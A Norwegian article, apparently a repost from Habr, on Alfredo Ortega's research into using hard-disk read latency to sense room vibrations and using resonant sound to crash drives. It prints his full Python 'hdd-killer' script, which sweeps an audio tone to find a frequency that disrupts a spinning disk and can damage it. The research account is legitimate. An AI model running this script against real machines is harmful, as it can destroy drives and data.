Hvorfor du ikke bÞr rope pÄ harddisken din

Hvorfor du ikke bÞr rope pÄ harddisken din

PĂ„ datasikkerhetskonferansen Ekoparty 2017 i Buenos Aires viste den argentinske hackeren Alfredo Ortega en veldig interessant utvikling – et system for skjult avlytting av lokaler uten bruk av mikrofon. Lyd tatt opp direkte pĂ„ harddisken!

HDD-en fanger hovedsakelig opp lavfrekvente lyder med hÞy intensitet, fottrinn og andre vibrasjoner. Menneskelig tale kan ennÄ ikke gjenkjennes, selv om forskere driver forskning i denne retningen (talegjenkjenning ved lavfrekvente vibrasjoner, som for eksempel registreres fra et gyroskop eller HDD).

Lyd er vibrasjon av luft eller et annet medium. En person oppfatter dem gjennom trommehinnen, som overfĂžrer vibrasjoner til det indre Ăžret. Mikrofonen er utformet omtrent som et Ăžre – ogsĂ„ her registreres vibrasjoner av en tynn membran, som eksiterer en elektrisk impuls. Harddisken er selvfĂžlgelig ogsĂ„ utsatt for mikroskopiske vibrasjoner pĂ„ grunn av svingninger i luften rundt. Dette er kjent selv fra de tekniske egenskapene til HDD-er: produsenter angir vanligvis det maksimalt tillatte vibrasjonsnivĂ„et, og selve harddisken prĂžver ofte Ă„ plassere den i en vibrasjonssikker beholder laget av gummi eller annet isolerende materiale. Fra dette er det lett Ă„ konkludere at lyder kan tas opp med HDD. Alt som gjenstĂ„r er Ă„ finne ut hvordan.

Alfredo Ortega foreslo en unik versjon av et sidekanalangrep, nemlig et tidsangrep. Dette angrepet er basert pÄ antakelsen om at forskjellige operasjoner utfÞres pÄ enheten til forskjellige tider, avhengig av inndataene som er gitt. I dette tilfellet er "inndataene" vibrasjonene til lesehodet og HDD-platen, som korrelerer med vibrasjonene i miljÞet, det vil si med lyd. SÄledes, ved Ä mÄle beregningstiden og utfÞre statistisk analyse av dataene, er det mulig Ä mÄle vibrasjonene til hodet/platen og dermed vibrasjonene til mediet. Jo lengre forsinkelse i lesing av data, jo sterkere HDD-vibrasjoner og derfor hÞyere lyd.

Hvordan mĂ„le harddiskvibrasjoner? Veldig enkelt: bare kjĂžr systemanropet read () – og registrer tiden det tar Ă„ fullfĂžre. Moderne operativsystemer lar deg lese tidspunktet for systemanrop med nanosekunders nĂžyaktighet.

Hastigheten til Ă„ lese informasjon fra en sektor avhenger av posisjonen til hodet og tallerkenen, som korrelerer med vibrasjonene i HDD-dekselet. Det er alt.

Statistisk analyse utfĂžres ved hjelp av et enkelt Kscope-verktĂžy. Som de sier, alt genialt er enkelt.

Hvorfor du ikke bÞr rope pÄ harddisken din
Kscope-verktĂžy (stat() syscall)

Kscope er et lite verktÞy for Ä visualisere smÄ forskjeller i utfÞrelsestider for systemanrop. Kildepublisert pÄ GitHub.

I et eget depot HDD-tid det er en versjon av verktÞyet konfigurert for et tidsangrep pÄ harddisken, det vil si konfigurert til Ä analysere systemanropet read ().

Demonstrasjon av lydopptak med HDD, bruk av Kscope-verktĂžyet

Spill av video

SelvfÞlgelig kan ikke tale forstÄs pÄ denne mÄten, men HDD-en egner seg ganske godt som vibrasjonssensor. For eksempel kan du registrere om en person som har pÄ seg harde sko eller barbeint gikk inn i et rom med en datamaskin (sannsynligvis, hvis angriperen har pÄ seg myke joggesko eller det er et tykt teppe pÄ gulvet, vil ikke harddisken kunne registrere vibrasjoner - dette er verdt Ä sjekke). Datamaskinen er i stand til Ä registrere knust glass eller andre hendelser med sterk lydintensitet. Det vil si at harddisken kan fungere som et slags uautorisert inntrengningsdeteksjonssystem.

HDD morder

Forresten, en lignende teknikk kan brukes til Ä deaktivere harddisker. Her fanger vi imidlertid ikke opp vibrasjoner fra harddisken, men genererer heller vibrasjoner som mates til harddisken. Hvis du spiller av lyd fra en hÞyttaler med en frekvens som resonerer med harddiskens frekvens, vil systemet snart slÄ av enheten med en I/O-feil (kjernen). Linux (Dette slÄr av harddisken helt etter 120 sekunder.) Selve harddisken kan bli permanent skadet.

Hvorfor du ikke bÞr rope pÄ harddisken din
Kjernen Linux Harddisken slo seg av etter 120 sekunder med avspilling av lyd pÄ resonansfrekvens gjennom Edifier r19u USB-hÞyttaleren. HÞyttaleren ble slÄtt pÄ pÄ omtrent en fjerdedel av effekten (mindre enn 100 mW) og plassert 20 cm fra harddisken, rettet mot bordet for Ä forsterke vibrasjonene. Stillbilde fra video med en demonstrasjon av HDD-morderen

Det er merkelig at slike "angrep" pÄ HDD-er noen ganger oppstÄr helt ved et uhell i hverdagen. For eksempel, i september 2016 ble ING Banks datasenter tvunget til Ä stanse driften i 10 timer etter en brannÞvelse. Dusinvis av harddisker har sviktet pÄ grunn av den hÞye lyden av inert gass som slippes ut fra sylindere under hÞyt trykk. Lyden var veldig hÞy (mer enn 130 dB), men du kan ikke engang rope pÄ harddiskene - dette Þker forsinkelsen i Ä fÄ tilgang til HDD.

Demonstrasjon av menneskelig skriking pÄ harddisker i et datasenter. LatensmÄling

Spill av video

For Ă„ generere den resonerende lyden skrev Alfredo Ortega et Python-manus kalt hdd-killer (video demonstrasjon).

HDD killer script Den er ganske liten, sÄ du kan publisere den i sin helhet her.

"""PyAudio hdd-killer: Generate sound and interfere with HDD """
"""Alfredo Ortega @ortegaalfredo"""
"""Usage: hdd-killer /dev/sdX"""
"""Where /dev/sdX is a spinning hard-disk drive"""
"""Turn the volume to the max for better results"""
"""Requires: pyaudio. Install with 'sudo pip install pyaudio' or 'sudo apt-get install python-pyaudio'"""

import pyaudio
import time
import sys
import math
import random

RATE=48000
FREQ=50

# validation. If a disk hasn't been specified, exit.
if len(sys.argv) < 2:
    print "hdd-killer: Attempt to interfere with a hard disk, using sound.nn" +
	  "The disk will be opened as read-only.n" + 
          "Warning: It might cause damage to HDD.n" +
          "Usage: %s /dev/sdX" % sys.argv[0]
    sys.exit(-1)

# instantiate PyAudio (1)
p = pyaudio.PyAudio()
x1=0
NEWFREQ=FREQ

# define audio synt callback (2)
def callback(in_data, frame_count, time_info, status):
    global x1,FREQ,NEWFREQ
    data=''
    sample=0
    for x in xrange(frame_count):
        oldsample=sample
        sample=chr(int(math.sin(x1*((2*math.pi)/(RATE/FREQ)))*127)+128)
        data = data+sample
        # continous frequency change
        if (NEWFREQ!=FREQ) and (sample==chr(128)) and (oldsample<sample) :
                FREQ=NEWFREQ
                x1=0
        x1+=1
    return (data, pyaudio.paContinue)

# open stream using callback (3)
stream = p.open(format=pyaudio.paUInt8,
                channels=1,
                rate=RATE,
                output=True,
                stream_callback=callback)

# start the stream (4)
stream.start_stream()

# wait for stream to finish (5)
while stream.is_active():
    timeprom=0
    c=file(sys.argv[1])
    for i in xrange(20):
        a=time.clock()
        c.seek(random.randint(0,1000000000),1) #attempt to bypass file buffer
        c.read(51200)
        b=time.clock()
        timeprom+=b-a
    c.close()
    timeprom/=20
    print("Frequency: %.2f Hz File Read prom: %f us" % (FREQ,timeprom*1000000))
    NEWFREQ+=0.5

# stop stream (6)
stream.stop_stream()
stream.close()

# close PyAudio (7)
p.terminate()

Kilde: www.habr.com

KjĂžp pĂ„litelig hosting for nettsteder med DDoS-beskyttelse, VPS VDS-servere đŸ”„ KjĂžp pĂ„litelig webhotell med DDoS-beskyttelse, VPS VDS-servere | ProHoster